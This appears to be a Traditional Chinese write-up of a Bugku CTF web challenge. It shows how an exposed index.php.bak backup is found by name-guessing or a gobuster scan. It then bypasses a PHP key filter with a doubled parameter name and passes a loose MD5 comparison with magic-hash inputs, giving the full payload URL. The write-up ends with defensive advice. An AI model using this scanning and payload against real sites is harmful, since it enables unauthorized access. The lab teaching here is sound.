3 min read

Bugku CTF - 備份是個好習慣 writeup (zh-TW)

Bugku CTF - 備份是個好習慣 writeup (zh-TW)

題目資訊

解題過程

Step 1: 分析初始線索

題目給出一串看似隨機的字符串:

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

仔細觀察發現,這其實是同一個 MD5 哈希重複兩次

  • d41d8cd98f00b204e9800998ecf8427e × 2

這是一個非常著名的 MD5 值:空字符串("")的 MD5 哈希

💡 小知識:在 CTF 中記住這個哈希值很有用,它經常被用來提示"空"的概念。

猜測題目可能也跟MD5有關!

Step 2: 理解題目提示

題目提示:"备份是个好习惯"

這明確指向一個常見的 Web 漏洞:備份文件泄露,開發者在修改代碼時常會保留備份,但忘記在部署時刪除這些文件。

Step 3: 尋找備份文件

方法 1:手動嘗試常見備份文件名(快速)
基於經驗,直接嘗試常見的備份文件命名模式:

# 常見的 PHP 備份文件擴展名
index.php.bak      ✅ 命中!
index.php.old
index.php.swp
index.php~
index.php.save
.index.php.swp     # Vim swap 文件

成功找到 index.php.bak

方法 2:使用 gobuster 掃描

gobuster dir -u http://目標網站/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x bak,old,swp,save,txt,zip

參數說明

  • -x: 指定要測試的文件擴展名
  • -w: 使用的字典文件

Step 4: 分析源代碼

下載 index.php.bak 後,查看內容:

<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);  // 關鍵點 1
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){  // 關鍵點 2
    echo $flag."取得flag";
}
?>

代碼分析

  1. str_replace('key','',$str)
    • 會將 URL 參數中的 key 字符串刪除
    • 例如:?kekeyy1=xxx?key1=xxx
  2. md5($key1) == md5($key2) && $key1 !== $key2
    • 使用 == 弱類型比較(重點!)
    • 需要兩個不同的值,但 MD5 值相等

Step 5: 利用 MD5 魔術哈希繞過

PHP 弱類型比較的特性
在 PHP 中,== 會進行類型轉換:

  • "0e123456" == "0e789012"true(都被當作科學計數法 0 × 10^...)
  • 只要 MD5 值是 0e 開頭的純數字,就會被當作 0

尋找魔術哈希對

以下是兩組 MD5 魔術哈希:

原始值 MD5 哈希 弱類型值
QNKCDZO 0e830400451993494058024219903391 0
240610708 0e462097431906509019562988736854 0

構造 Payload

記住要繞過 str_replace('key','',$str),所以參數名要用 kekeyy1kekeyy2

?kekeyy1=QNKCDZO&kekeyy2=240610708

執行過程

  1. str_replace('key','','kekeyy1')key1
  2. md5('QNKCDZO') = 0e830400... (弱類型 = 0)
  3. md5('240610708') = 0e462097... (弱類型 = 0)
  4. 0 == 0true
  5. 'QNKCDZO' !== '240610708'true

Step 6: 取得 Flag

訪問:

http://目標/?kekeyy1=QNKCDZO&kekeyy2=240610708

輸出

0e8304004519934940580242199033910e462097431906509019562988736854
flag{xxxxx}取得flag

🎯 成功取得 Flag!

學習重點

1. 備份文件泄露的防範

開發者常見錯誤

  • 編輯器自動生成的備份文件(.bak, .swp, ~
  • 手動備份但忘記刪除(.old, .backup
  • 壓縮包備份(web.zip, backup.tar.gz

2. PHP 弱類型比較漏洞

危險的比較方式

// ❌ 危險
if (md5($input) == md5($target))

// ✅ 安全
if (md5($input) === md5($target))

常見魔術哈希值

QNKCDZO       → 0e830400451993494058024219903391
240610708     → 0e462097431906509019562988736854
s878926199a   → 0e545993274517709034328855841020
s155964671a   → 0e342768416822451524974117254469

經驗分享


Bugku CTF,這一題利用了一連串的攻擊鏈,有別於之前的題目通常只需要一個方法即可,首先要找到備份的index.php.bak,並了解其中的php程式碼的概念,基本上也涵蓋了基礎的程式碼審計,很適合作為入門!